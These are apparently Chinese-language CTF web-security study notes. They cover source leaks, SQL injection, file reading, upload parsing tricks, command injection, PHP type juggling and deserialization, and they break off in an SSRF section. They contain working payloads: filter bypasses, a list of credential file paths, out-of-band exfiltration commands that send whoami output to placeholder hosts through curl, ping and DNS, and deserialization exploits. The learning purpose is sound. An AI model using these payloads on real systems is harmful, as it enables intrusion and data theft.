cd ../.. 返回上两级目录
cd . 返回个人主目录
cd ~user1
pwd 显示工作路径
ls -F 查看目录中的文件
-l 显示文件目录的详细信息
-a 显示隐藏文件
ls /bin 显示bin目录下的问价
tree 显示由根目录开始的树形结构
lstree
mkdir -p /tmp/dir1/dir2 创建一个目录树
rm -f file1 删除一个文件
rm -rf dir1 递归删除dir1下的所有文件
rmdir dir1 删除目录
mv dir1 new_dir 重命名目录
mv /usr/tmp/tool /opt 将文件剪切到另一个目录
mv -r /usr/tmp/tool /opt 递归剪切
cp file1 file2 复制文件
cp dir/* 复制目录下所有文件到当前工作目录
cp -a /tmp/dir1 复制目录到当前目录
cp dir1 dir2 复制目录及子目录
find /usr/bin -type f -mtime -10 搜索十天内被创建或被修改的文件
find /bin -name 'a*' 搜索文件名为a开头的所有文件
tcpdump的使用
tcpdump -w result.cap 抓取所有的网络包并存入到result.cap文件内
tcpdump -i eth0 -w result.cap 抓取所有通过eht0万卡的网络包并存入result.cap文件中
tcpdump src 192.168.1.100 -w result.cap 抓取源地址为192.68.1.100的网络包并存入result.cap文件中
tcpdump tcp port 80 -n -s 0 -w result.cap 抓取80端口的流量并存入result.cap文件中
其他命令
whereis file 查看有关文件
which bash 查看命令的绝对路径
w
who 查看登陆情况
df -h 查看磁盘占用情况
top 查看cpu占用情况,内存占用情况
sevice --status -all 查看所有服务的运行状态
ps -axu 查看系统进程
kill 9 [pid] 强制杀掉进程
cat /proc/version 查看系统内核
uname -a 显示重要的系统信息
git泄露涉及git命令的应用
通过敏感目录泄露可以获得网站的源代码,敏感URL,网络后台地址
等
git是一个主流的分布式版本系统
,开发过程中常被开发人员遗忘.git文件夹
,导致攻击者通过.git文件夹中的信息获取源码
,进而导致服务器被攻击
subversion源代码版本管理软件
,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件保留库在外网环境
,可以利用.svn/entires或wc.db文件获取服务器源码等信息
在使用HG作为管理工具时,会在当前文件夹下创建.hg的隐藏文件夹
,其中包含代码,分支修改记录等信息
如果访问.git出现了403错误,那么可以访问.git/config
如果有内容返回,说明git泄露
SVN中一般在entires发去源代码,但有时entires为空
那么就需要查看wc.db是否存在
可通过checksum在pristine文件夹中获取源代码
通过一些敏感的备份文件
,可以获得一些文件的源码,或者网站的整体目录
在linux下,用gedit编辑器保存后
,当前目录下会生成一个后缀名为‘~’的文件
,该文件内是刚才编辑过的内容,加入刚才保存的文件名为flag,则改文件名为flag~,通过浏览器访问这个带有‘~’的文件
,可以获得源代码
vim是运用最多的linux编辑器,在用户编辑文件以为退出时(如通过SSH链接到服务器时
,在用vim编辑文件的过程中可能遇到因为网速不够的导致的命令行卡死而意外退出的情况),会在当前目录下生成一个备份文件
,该文件用来备份缓冲区中的内容
,即退出时的文件内容
,针对SWP备份文件,可以使用vim -r 命令恢复文件的内容
常规文件所依靠的是字典的饱和性
,不论是CTF还是现实世界中,我们都会碰到一些经典的有辨识的文件,从而让我们更好的了解网站
robots.txt 记录一些目录和CMS版本信息 机器协议,也是爬虫的许可信息
readme.md 记录CMS版本信息,有的甚至有GItHub地址
www.zip/rar/tar.gz 网站的源代码备份
在CTF线上比赛中,以备份文件为题目,出题人会在线运维题目
,会因为各种情况导致SWP备份文件的生成
,所以在比赛过程中可以编写实时监控版本
,对题目服务进行监控
,vim在第一次意外退出是生成的备份文件为*.swp
,第二次以为退出时的为*.swo
,第三次退出时的为*.swn
,以此类推 vim的官方手册中还有*.un文件名.swp类型的备份文件,
在实际的环境中,网站的备份往往可能是网站域名的缩写
在CTF比赛中,一个网站的Banner信息(服务器对外显示的一些基础信息)
,对解题有重要作用,可以通过Banner信息来获得解题思路,得知网站使用ThinkPHP的Web框架编写时
,我们可以尝试ThinkPHP框架的相关历史漏洞
,得知这个网站是Windows服务器
,测试上传漏洞是可以根据Windows的特性进行尝试
。
Github有大量成型且公开的CMS指纹库,读者可以自行查找,同时可以借鉴一些成型的扫描器对网站进行识别
Wappalyzer插件是一项功能强大,简单易操作的网站技术分析检测工具,能对所访问的网站上使用的技术一目了然,能够分析指定网站所采用的平台架构,统计工具,服务器配置,web框架,编程语言等参数
在进行服务器的Banner信息探测时,除了通过上述两种常见的识别方式,还可以尝试随意输入一些URl,可以通过404页面和302跳转页面发现一些信息
,像开启了debug选项的ThinkPHP网站会在一些错误页面显示ThinkPHP的版本
SQL注入使开发者对用户输入的参数过滤不严格,导致用户输入的数据影响预设查询功能的一种技术,通常导致数据库原有信息泄露,篡改,甚至删除
当输入的参数id为整形时,Sql语句类型大致如下
select * from <表名> where id = 1
这种类型可以使用经典的and 1=1和and 1=2来判断
当输入的参数1为字符时,通常Sql语句类型大致如下
select * from <表名> where id = ‘1’
其余数字类型注入的区别在于
注入时需要使用单引号来闭合
如在MySQL中判断数据名长度的输入为1‘ and length(database()) = 10 #
根据返回页面的不同来判断是否数据库名长度是否为10
基于事件的SQL盲注方式通常是在SQL语句中添加延时函数,依据响应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep,waitfor
函数等
在测试过程中通过页面错误回显
来进行注入
用户输入http://www.xxxx.com/1.asp?id=1;DELTE FROM products
服务器段生成的sql语句为
select * from products where id=1; delete from products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
使用union
操作码合并两条或多条SQL语句
用户输入http://www.xxx.com/1.asp?id=1'union select 1,2,3 -- products
服务端生成的sql语句为
select * from products where id=1 union select 1,2,3
这里需要注意的是union后面的列名合个数要和products里面的列名个数对应上
,可以看到联合注入和堆叠注入都是执行多条语句,但是有区别,union或者union all 执行的语句类型是有限的
,可以用来执行查询语句,但是堆叠注入可以执行任意SQL语句
post
get
常用防御手段和绕过注入的若干方法,重点提供绕过的思路
除了空格,还有可以代替的空白符,例如%0a,%0b,%0c,%0d,%09,%a0和/**/组合,括号等
遇到替换成空的情况,可使用嵌套的方式 seselectlect,经过过滤后又变回了select
如果是过滤大小写,可以将select进行大小写的转换,MySQL中关键字是不区分大小写的
正则匹配关键字\bselect\b可以用形如、*! 50000select*/
的方式绕过
通过\' \"
这种转义的方式来重新引入单引号或双引号来
对注入语句进行闭合
注入的重点在于逃逸引号
,而开发者常会将用户的输入全局的做一次addslashes,也就是转义,单引号,反斜杠等字符,如‘ 变为 \ 这种情况下,看似不存在SQL注入,但是在某些条件下仍能突破
开发者常用urldecode,base64_decode的解码函数或自定义的加解密函数
,当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密解密,字符集转换的情况,宽字节注入就是由字符集转换而发生注入的
二次注入的根源在于,开发者信任数据库中取出的数据是无害的
在标题,抬头等位置
,开发者可能限定标题日的字符不能超过十个字符,超过则会被截断,假设攻击者输入aaaaaaa’,自动转义成 aaaaaaa\‘,由于字符长度限制,被截取为aaaaaa\,正好转义了预置的单引号
在有写文件权限的情况下,直接使用
into outfile 或者 dumpfile
向web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果
在有读文件权限下的情况下,用
load_file() 函数
如去网站源码和配置信息,获取敏感数据
提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等
,从而拥有更多的网站功能
通过诸如控制数据库查询出来的数据,控制像模板,缓存等文件的内容来获取权限
,或者删除,读取某些关键文件
在可以执行多语句得情况下,控制整个数据库,包括控制任意数据,任意字符长度等
在SQL.Server这类数据库中可以直接执行系统命令
实际比赛中会将很多的特性,函数进行结合,MySQL诸如类的题目采用的过滤方法也是多种多样,SQL服务器在实现时的不同,即使是相同的功能,也有很多的实现方式
,会将过滤时不容易考虑到的知识点或注入技巧作为考点
,关键是根据不同的SQL服务器类型,通过fuzz得出被过滤掉的字符,函数,关键字等,查找功能相同但不包含过滤特征的替代品,完成对相关防御的绕过
sqli-labs
sqlmap
攻击者通过一些手段读取开发者不允许读取到的文件,在整个攻击过程经常用于信息收集,获取服务器配置文件,密钥,历史命令,网络信息和源码
,在CTF中是解决一道题的思路入口,简单的则是直接读取Flag
file_get_contents()
file()
fopen()
fread()
fgets()
文件包含函数
include()
require()
include_once()
require_once()
由于php文件之间调用密集频繁,需要将动态参数传入危险函数
,php扩展也提供了一些可读取文件函数,但CTF中存在较少
php向用户提供的特定待打开文件不是简单的路径
,而是一个文件流
,php提供很多功能不同,但形式相似的协议
php://协议 统称为Wrapper
除了Wrapper,php另外一个具有特色的机制是Filter,作用是对目前的Wrapper进行一定的处理
Read 读取
Wirte 写入
Resourec 数据来源
string.strip_tags 将数据流中的所有html标签清除
string.toupper 将数据流中的内容转换为大写
string.tolower 将数据流中的内容装换位小写
convert.base64-encode 将数据流中的内容转换为base64编码
conbert.base64-decode 与上面对应解码为典型的文件包含漏洞
xx=php://filter/read=convert.base64-enccode/resource=xxx.php
典型的伪协议读取php文件
1.文件路径前面可控,后面不可控
2.文件路径后面可控,前面不可控
3.文件路径中间可控
1.在较低的PHP版本及容器版本中可以使用\x00截断
,对应的URL编码是%00
。服务端存在文件上传功能时,可以尝试利用Zip或Phar协议
直接进行文件包含进而执行php代码
2.可以通过符号 ../
进行目录穿越来直接读取文件,这种i情况下
无法使用Wrapper`,如果服务端是利用include等文件包含类的函数,那么无法读取php文件中的代码
3.这种情况与第一种类似,但是无法利用Wrapper进行文件包含
Pyhton的web应用大多是通过自身模块启动服务
,搭配中间件和代理服务将web页面呈现
,用户和web的交互过程包含服务器资源文件请求,容易出现非预期文件读取情况
,Pyhton缺乏统一的资源文件交互的标准
,导致Python框架有很多的文件读取漏洞
漏洞经常出现在框架请求静态资源部份,就是读取文件的open函数
直接导致漏洞的原因,大多是开发者忽略了Pyhton函数的特点
很多涉及文件操作的应用也可能因为滥用open函数,模块的不当渲染导致任意文件读取
攻击者制造软连接放入压缩包,解压后的内容会直接指向服务器的相关文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。
与PHP相同,Pyhton的一些模块可能存在XXE读文件的情况
Java本身的文件读取函数FileInputStream,XXE
导致的文件的读取
Java的一些模块支持file://协议
,这是Java中出现任意文件读取最多的地方
Nginx错误配置
导致的文件读取漏洞在CTF中经常出现,经常搭配Python-Web应用一起出现,因为nginx一般被视为Python-Web反向代理的最佳实现,他的配置文件出现错误配置,很容易造成严重问题
location/static{
alias/home/myapp/static/;
}
如果配置文件包含这段内容,可能是运维或开发人员想染用户可以访问stactic目录(一般是静态资源目录),但,如果用户请求的Web路径是Static../
,凭借到了alias上就变成了/home/myapp/static/../
,这样就会产生目录穿越漏洞,直接进入myapp目录,攻击者可以任意下载Python源代码和字节码文件
漏洞的成因是location最后没有加/进行限制,Nginx匹配到路径Static后,把其他的内容拼接到alias,传入的是Static…/,Nginx并不认为这是跨目录,而是当作整个目录名,所以不会对他进行跨目录的相关处理
可以进行文件读取操作的数据库很多
MySQL的load_file()函数
可已经i选哪个文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有),需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/.用户可读),Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关目录下),这么严格的利用条件,还是经常可以在CTF中遇到相关的文件读取题目
另一种方法是需要执行完整的SQL语句
,load data infile
这种方式需要FILE权限,除了SSRF攻击MySQL这种特殊情形
很少有可以直接执行整条非基本SQL语句(除了select/update/insert)的机会
bash命令ln -s
可以创建一个指向指定文件的软连接文件
,然后将这个软连接文件上传至服务器,当我们再次请求这个链接文件时,实际上是请求在服务端指向它的文件
Docker-API可以控制Docker的行为,Docker-API通过UNIX Socket通信
,也可以通过HTTP直接通信
,遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信时
,就可以通过操纵Docker-API把本地文件载入Docker进行读取(利用Docker的ADD,COPY操作),形成一种另类的任意文件读取
很多的浏览器会禁用JavaScript代码读取本地文件
的相关操作
请求一个远程网站,他的JavaScript代码中使用了FIle协议的去客户的本地文件,会由于同源策略导致读取失败,也存在可以绕过的方式
与XSS相似,Markdown解析器也具有一定的解析JavaScript的能力
,但大多没有像浏览器一样对本地文件读取的操作进行限制,很少有与同源策略类似的防护措施
Flag名称
又是暴力破解flag名称就能获得答案
注意文件名和后缀名
../../../../../../../../../flag(.txt|.php|.pyc|py)
Flag(txtl.phpl.pycl.py )
[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../etc/flag(.txt|.php|.pyc|py)
../flag(.txt|.php|.pyc|py)
../../../../../../../../root/flag(.txt|.php|.pyc|py)
../../../../../../../../home/[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../home/flag(.txt|.php|.pyc|py)
/etc
/etc/passwd
/etc/shandow
/etc/apache2/*/etc/apache2/*
/etc/nginx/*/etc/nginx/*
/etc/apparmor(.d)/*/etc/apparmor(.d)/*
/etc/(cron.d/*|crontab)/etc/(cron.d/*|crontab)
/etc/environment
/etc/hostname
/etc/host
/etc/issue
/etc/mysql/*
/etc/php/*
/proc
/usr.loacl/nginx/conf/*
/var/www/html
/var/lib/php(5)/session/
~/.bash_history
~/.bashrc
~/.ssh/id_rsa(.pub)
~/.viminfo
Windows系统下的Web任意文件读取漏洞在CTF中不常见。
Windows与PHP搭配使用时存在一个问题
可以使用 < 等符号作为通配符
,从而在不知道完整文件名的情况下进行文件读取
文件上传点没有对上传文件进行严格的验证和过滤,造成任意文件上传,包括上传动态文件(asp,php,jsp)
如果上传的目标目录没有限制执行权限,导致上传执行,就会出现文件上传漏洞
-存在上传点
-可以上传动态文件
-上传目录有执行权限,并且上传的文件可执行
-可以访问到上传的动态文件
首先apache发现这个文件的扩展名是未知的,他会先看或站名之前是否有其他的可识别的扩展名,完整的文件名为 shell.php.xxx
,那么Apache就会发现在位置扩展名之前有可识别的扩展名php
,那么就会认为是一个php文件,并且按照php文件的解析方式进行解析
影响版本Apacche
漏洞版本2.2.x
1.目录解析
以*.asp命名的文件夹里的文件都会被当作ASP文件执行
2.文件解析
*.asp;.jpg这种畸形文件名在 ;后面的直接被忽略,也就是被当成*.asp文件执行
IIS6.0默认的可执行文件除了asp还包含这三种*.asa *.cer *.cdx
构建路径*.php尝试解析
http://192.168.4.171/muma.jpg/.php
1.网站的错配置导致nginx将 .php结尾的文件交给fastcgi处理
,所以构造http://ip/up;oadfiles/test/png/.php
2.fastcgi在处理 .php文件时文件并不存在,php.ini配置文件中的cgi.fix_pathinfo=1发挥作用
,这项配置用于恢复路径
,如果当前路径不存在则采用上层路径
,所以交给fastcgi处理的文件就变成了/test.png
3.php.fpm.conf中的security.limit_extensions
配置项限制了fastcgi解析文件的类型
(指定什么类型的文件当作代码解析),此项设置为空的时候才允许fastchio将.png文件当作代码解析
前端JS校验,可以直接禁用JS
,或者使用burp抓包修改文件类型
基于文件后缀名验证方式的分类
1.基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功
2.基于黑名单验证:执政对黑名单中没有的后缀名,文件才能上传成功
禁止.jsp .php .asp .aspx
但是可以使用其他后缀名 .php1 .php2 .phtml .php5
.htaccess文件是Apache服务器中的一个配置文件
,负责相关目录下的网页配置,通过htaccess文件,实现网页301重定向,自定义404错误页面
,改变文件扩展名
,允许/组织特定的用户或目录的访问,禁止目录列表,配置默认文档等功能
其中.htaccess内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,无论上传任何文件
只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错
auto_prepend_file=1.gif为内容的.user.ini文件
,上传一个内容为php的一句话脚本,命名为1.gif
.user.ini文件里面的意思
所有的php文件都自动包含1.gif文件
.user.ini文件相当于一个用户自定义的php.ini
开发者使用一些执行命令函数,为对用户输入的数据进行安全检查时,可以注入恶意命令
。
1.技巧性直接获取flag
2.进行反弹Shell,然后进入内网
3.利用出题人对权限的控制不严格,对题目环境拥有控制权,导致其他队伍选手无法解题,在时间上会有优势
在CTF中,命令执行发生在远程
,也叫远程命令执行
,RCE(Remote Command Exec),(RemoteCode Exec)
为方便程序处理,会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时
,通过注入恶意命令,会造成巨大危害
PHP-System
$m = $_GET['m']
system('echo'.$m)
>?
http://xxx.com/?m=xxx
输出
xxx
http://xxx.com/?m=xxx%26%26 whoami
输出
Xxx desktop-6g9xxx|\xxxx
命令注入是通过诸如一些特殊字符
,改变原本的执行意愿,执行攻击者指定命令
系统中的cmd.exe,bash
程序执行命令能够解析很多特殊字符,这样会使BAT批处理和bash脚本处理工作更加便捷
,如果想去掉特殊字符的特殊意义,就需要进行转义,所以转义字符也是取消字符的特殊意义
Windows的转义字符是 ^
Linux的转义字符是 \
在命令注入中通常需要注入多条命令扩大伤害
能够构成多条命令执行的字符串
Windows 下 && , || , %0a
Linux 下 && ,|| ,; ,$() , " , %0a , %0d
xxx||echo mmm
xxx程序并不存在所以报错,但是注入 || 字符,如果前面报错,后续的命令也会被执行,%0a %0d
是由于换行而可执行新的命令
在Linux中需要注意,双引号包裹的字符串 "$()" 中的内容被当作命令执行
但是单引号包裹的字符串就是纯字符串,不会进行任何解析
在位置的命令注入时,最好通过各种Fuzz来确认命令注入点和黑名单规则
程序1-程序参数1 参数值1 && 程序2-程序参数2 参数值2
以ping -nc 1 www,baidu.com为例构建Fuzz列表
程序名 ping
参数 -nc
参数值 1和www.baidu.com
程序名与参数值之间的字符串 空格
整个命令
参数值有时较为复杂,可能是部分可控,被单引号,双引号包裹
,需要注意额外的引号来进行逃逸
&& curl www.dnslog.com &&
'curl www.dnslog.com'
;curl www.dnslog.com;
再通过将Fuzz列表插入命令点后,通过查看自己服务器的Web日志来观察是否存在漏洞
<?php
$cmd = str_replace(" ","",$_GET['cmd']);
echo "cmd:".$cmd.<br>";
echo system($cmd)
在代码审计中经常会禁止空格出现或者将空格过滤为空,但是命令中间隔的字符可以不只是空格(URL编码为 %20),还可以利用burpsuit对%00 ~ %ff区间的字符串进行测试
,可以发现其他字符进行绕过,利用burp suit进行Fuzz
除了使用不可见字符暴力破解,还可以使用字符串截取的方式获取空格
C:\>echo%ProgramFiles:~10,1%111111
其中,~ 相当于截取符
,表示获取环境变量%ProgFiles%的值
,一般为C:\Program FIles
所以,这个命令表示,从第十个开始获取一个字符串,就是空格
Linux中绕过空格的方式
$IFS$9
Bash有效,zsh,dash无效
{cmd,args}
读取文件时
cat<>flag
$IFS$9
Linux存在IFS(Internal Field Separator)环境变量
,内部字段分隔符,定义了bash shell命令间隔字符
,一般为空格
,使用IFS时需要使用间隔符来避免出现不存在的变量,通常是$9,$9表示但钱系统Shell进程的第九个参数
,是一个空字符串
,也可以使用\${IFS}
进行注入,或者在某些平台下通过修改IFS变量为逗号进行注入; IFS=, ;
CTF比赛中,会遇到黑名单关键字,例如对cat,flag等字段进行拦截,可以使用下面的方法进行绕过
Linux: `a=c;b=at;c=he;d=llo;$a$b $(c)${d}`
其中,a变量为c,b变量为at,最终$a$b
是cat,c变量为he,d变量为llo,最终$(c)${d}
为hello,所以执行的命令为 cat hello
Linux:cat /tm?/fl*
Windows:type fla*
若是禁用<>?等字符串,则可以借用其他文件中的字符串,利用substr(0函数截取某个具体字符(NR=读取行)
CTF中经常会遇到执行命令的结果不在网页上现实的情况,可以通过以下方式获取执行结果
for /F %x in ('echo xxx') do start http://xxxx:8000/%x
通过for命令,将echo xxxx执行的结果保存在%x中
,然后拼接到URl上
,命令执行过后,默认浏览器会被系统调用打开并访问指定网站,最终在Web日志
中查看结果
在Linux下,由于存在管道
,所以特别方便数据的传输,通常利用curl,wget等程序进行外带数据,多条命令执行中的 ' 和 $()
进行字符串拼接
使用ping命令进行DNS外带数据
,ping的参数在Windows和Linux下不同
限制ping的个数
Windows使用-n
Linux使用-c
为了兼容处理可以联合使用
ping -nc 1 test.example.com
Linux:ping -c 1 'whoami'.xxx.com
在Windows下相对复杂,主要利用delims命令进行分割处理,最终拼接到域名前缀上,再利用ping程序进行外带
for /F "delims=\tokens=2" $i in ('whoami') do ping -n 1 %i.xx.com
网络不通,可以通过时间盲注,将数据跑出来,主要借用$$和||的惰性
在Linux下可以使用sleep函数
在Windows下可以使用一些耗时命令 `ping -n 5 127.0.0.1`
网络隔离的情况,time型读数据将会极其缓慢
,可以将执行命令结果写入到Web目录
下,再次通过Web访问文件
从从而达到回显目的
PHP中有两种比较方式一种是
== 另一种是 ===
这两种都可以比较两个数字的大小,但有很明显的区别
== :会把两端变量类型转换成相同的
,进行比较
===:会先判断两端变量类型是否相同
,进行比较
在两个相等的符号中,一个字符串与一个数字比较时,字符串会转换为数值
当一个字符串当作一个数值来取值,结果和类型如下
如果该字符串没有包含
. , e , E
并且数值值在整形范围之内,该字符串被当作int取值
其他情况被作为float来取值
该字符串的开始部分决定了它的值
如果该字符串以合法的数值开始,则使用该数值,否则其值为0
当出现了xex模式的时候代表科学计数法,比如
1e3 = 1 * 10
在进行比较运算时,如果遇到了0e/d+
0e就是0e,d+的意思是后面全部都是数字
这种字符串就会将字符串解析为科学计数法
所以两个数值都是0,所以相等
如果不满足0e/d+这种模式就不会相等
240610708和QNKCDZO
MD5值类型相似,但是并不相同,在 == 操作符的运算下,结果返回True
MD5和SHA1一样
MD5和SHA1对一个数组进行加密将返回NULL,而NULL===NULL
,返回True,可绕过判断
Strcmp利用数组绕过(比较两个字符串区分大小写)
int strcmp ( string $str1 , string $str2 )
返回值
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
当输入的两个值为不是字符串时就会产生不预期的返回值:
比如
$password=$_GET['password'];
if(strcmp(‘xx',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>
这样一段代码中,输入password[]=1
则返回success
,成功绕过验证。
原理是因为函数接受到了不符合的类型,将发生错误,函数返回值为0,所以判断相等。
array_search() 函数在数组中搜索键值,返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。基本功能相同,绕过姿势也相同。
Array系列有两种安全问题,一种是正常的数组绕过
,一种是类似“= =”号问题
。
1、函数接入到不符合的类型返回“0”这个特性
2、 in_array()函数如果参数没有提供或者是
/
会进行严格的过滤),那么_就会使用松散比较来判断strict=FALSE])
,如果strict参数没有提供或者是false(true会进行严格的过滤)
,那么inarray就会使用松散比较
来判断needle是否在$haystack中
。当strince的值为true
时,in_array()会比较needls的类型和haystack中的类型是否相同
。
bool in_array ( mixed ,needle,arrayhaystack [, bool =])
如果Switch是数字类型的case判断时,Switch会将其中的参数转换为int类型
("name"==true);
var_dump(0==false);
var_dump("fasle"==true);
var_dump(1==true);
var_dump(-1==true);
$m = [0];
var_dump($m==true);
?>
前端返回的都是True
php在接受一个0x的字符串时,会自动把字符串解析成十进制的再进行比较,0x1e240解析成十进制就是123456,与字符串类型的123456和int型的123456相同。
("0x1e240"=="123456"); //true
var_dump("0x1e240"==123456); //true
var_dump("0x1e240"=="1e240"); //false
?>
在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程为反序列化,是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,通过反序列化可以获取之前的对象。很多语言都存在序列化函数,如Python、Java、PHP、.NET等
在CTF中,经常可以看到PHP反序列化
的身影,原因在于PHP提供了丰富的魔术方法,加上自动加载类
的使用,为构写EXP
提供了便利。所以掌握好php的反序列化即可。
class User{
var $name = 'zhangsan';
var $age = 18;
function get_like(){
echo 'eat';
}
}
$user = new User;
echo serialize($user);
?>
O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}
布尔值(bool):b:value=>b:0。
整数型(int):i:value=>i:1。
字符串型(str):s:length:“value”;=>s:4:"aaaa"。
数组型(array):a::{key,value pairs};=> a:1:{i:1;s:1:"a"}。
对象型(object):O::。
NULL型:N。
O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}
|
|
O表示这是一个对象,4表示对象名的长度, User是序列化的对象名称,2表示对象中存在2个属性。第1个属性s表示是字符串,4表示属性名的长度,后面说明属性名称为name,它的值为字符串长度为8内容是‘zhangsan’;第2个属性是age,它的值是为整数型18。
PHP中存在魔术方法,PHP自动调用
,但是存在调用条件,比如,__destruct是对象被销毁的时候进行调用
,通常PHP在程序块执行结束时进行垃圾回收
,这将进行对象销毁
,然后自动触发__destruct魔术方法
,如果魔术方法还存在一些恶意代码
,即可完成攻击。
当对象被创建时:__construct。
当对象被销毁时:__destruct。
当对象被当作一个字符串使用时:__toString。
序列化对象前调用(其返回需要是一个数组):__sleep。
反序列化恢复对象前调用:__wakeup。
当调用对象中不存在的方法时自动调用:__call。
从不可访问的属性读取数据:__get。
class lemon{
protected $ClassPbj;
function __construct(){
echo "_construct";
$this->ClassObj = new normal();
}
function __destruct(){
echo "__destruct";
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "action";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
class lemon{
protected $ClassObj;
function __construt(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo()";
}
echo urlencode(serialize(new lemon()));
?>
Phar反序列化,是因为PHP使用phar_parse_metadata
在解析meta数据
时,会调用php_var_unserialize
进行反序列化操作
将需要反序列化的类通过Phar->setMetadata传入
,然后生成phar内容。
在PHP中Phar是属于伪协议
,伪协议的使用最多的是一些文件操作函数
,如fopen()、copy()、file_exists()、filesize()
等。如寻找内核中的*_php_stream_open_wrapper_ex函数
,PHP封装调用此类函数
,会让更多函数支持封装协议,如getimagesize、get_meta_tags、imagecreatefromgif
等。再通过传入phar:///var/www/html/1.phar
便可触发反序列化
。
例如,
通过file_exists("phar://./demo.phar")
触发phar反序列化
class demo{
public $t = "Test";
function __destruct(){
echo $this->t . "Win.";
}
}
$obj = new demo;
$obj->t = 'You'
$p = new Phar(',/demo.phar',0);
$p->startBuffering();
$p->setMetadata($obj);
$p->setStub('GIF89a'.');
$p->addFromString('test.txt','test');
$p->stopBuffering();
file_exits ("phar://.deom.phar")
__wakeup失效:CVE-2016-7124
由于__wakeup失效
,绕过其中可能存在的限制,触发可能存在的漏洞,影响版本PHP 5至5.6.25、PHP 7至7.0.10。
原因:当属性个数不正确时,process_nested_data函数返回为0,后面的call_user_function_ex函数不会执行,在PHP中就不会调用__wakeup()。
class demo{
private $a = array();
function __destruct(){
echo "i am destruct...";
}
function __wakeup(){
echo "i am wakeup...";
}
}
unserialize($_GET['data']);
0:4:"demo":2:[s:5:"demoa";a:0:[}}
bypass反序列化正则
当执行反序列化时,使用正则“/[oc]:\d+:/i”
进行拦截
反序列化支持“+”
来表达数字
“O:+4:"demo":1:{s:5:"demoa";a:0:{}}”
反序列化字符逃逸
PHP在序列化数据的过程中,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且PHP底层实现上是以“;”
作为分隔,以“}”
作为结尾。php反序列化时会忽略后面的非法部分
Session反序列化
PHP默认存在一些Session处理器:php、php_binary、php_serialize和wddx
(需要扩展支持,较为少见)。处理器都是经过序列化保存值,调用的时候会反序列化。
php处理器(php默认处理)
ls3m0n|s:1:"a"
php_serialize处理器
a:1:[s:5:"lsm0n";s:1:"a";}
php_serialize情况存放SESSION:
a:1:{s:20:"IO:8:"stdClass":0:{}";s:1:"a";}
php情况下读取SESSION:
a:2:{s:20:"|O:8:"stdClass":0:{}";s:1:"a";}
存与读不一致时,处理器会出现问题。php_serialize注入的stdclass字符串
,在php处理下成为stdclass对象,在php_serialize
处理下存入“|O:8:"stdClass":0:{}”
,然后在php
处理下读取,这时会以“a:2:{s:20:"”作为key
,后面的“O:8:"stdClass":0:{}”
则作为value
进行反序列化。
题目
class just4fun{
var $enter;
var $secret;
}
$o = unserialize($_GET['d']);
$o->secret = "you don't know the secret";
if($o->secret === $o->enter){
echo "Win";
}
EXP
class just4fun{
var $enter;
var $secert;
function just4fun(){
$this -> enter = $this -> secret;
}
}
echo seialize(new just4fun());
Payload
0:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
题目中有just4fun类,类中有enter,secret属性,$secret
属性位置,php中存在引用,通过 & 表示,&$a
引用“$a
”的值,内存中是指向变量的地址,序列化字符串中用 R
来表示引用类型。
初始化时,利用“&”
将enter指向secret
的地址
生成的payload
中,存在“s:6:"secret";R:2”
,通过引用的方式将两者的属性值成为同一个值
Exception绕过
有时会遇上throw问题
,因为报错导致后面代码无法执行
B类中__destruct输出全局的flag变量
,反序列化点则在throw前
。正常情况下,报错是使用throw抛出异常导致__destruct不会执行
。但是通过改变属性为“O:1:"B":1:{1}”
,解析出错,由于类名是正确的,就会调用该类名的__destruct
,从而在throw前执行了__destruct
。
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B{
function __destruct(){
global $flag;
echo $flag;
}
}
$a = @unserialize($line);
throw new Exception('Well taht was unexpected...');
echo $a;
SSRF(Server Side Request Forgery,服务端请求伪造)一种攻击者通过构造数据伪造服务器端发起请求的漏洞。请求是由内部发起的,所以SSRF漏洞攻击的目标是从外网无法访问的内部系统。SSRF漏洞形成的原因是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者自由构造参数,发起预期外的请求。
URL的构造
foo://example.com:8042/over/yhere?name=bar#nose
foo scheme 协议
example.com:8042 authority 主机
/over/there path 路径
?name=bar query 参数
nose fragment 嵌入在活动中的UI片段
scheme
由一串大小写不敏感的字符组成,表示获取资源所需要的协议
authority
userinfo遇到得比较少,可选项,一般HTTP使用匿名形式获取数据
如果需要进行身份验证,格式为username:password,以@结尾
host
表示在哪个服务器上获取资源,一般是以域名形式呈现
如baidu.com,也以IPv4、IPv6地址形式呈现
port
服务器端口
各协议都有默认端口
如HTTP的为80、FTP的为21
使用默认端口时,可以将端口省略
path
指向资源的路径,一般使用“/”进行分层
query
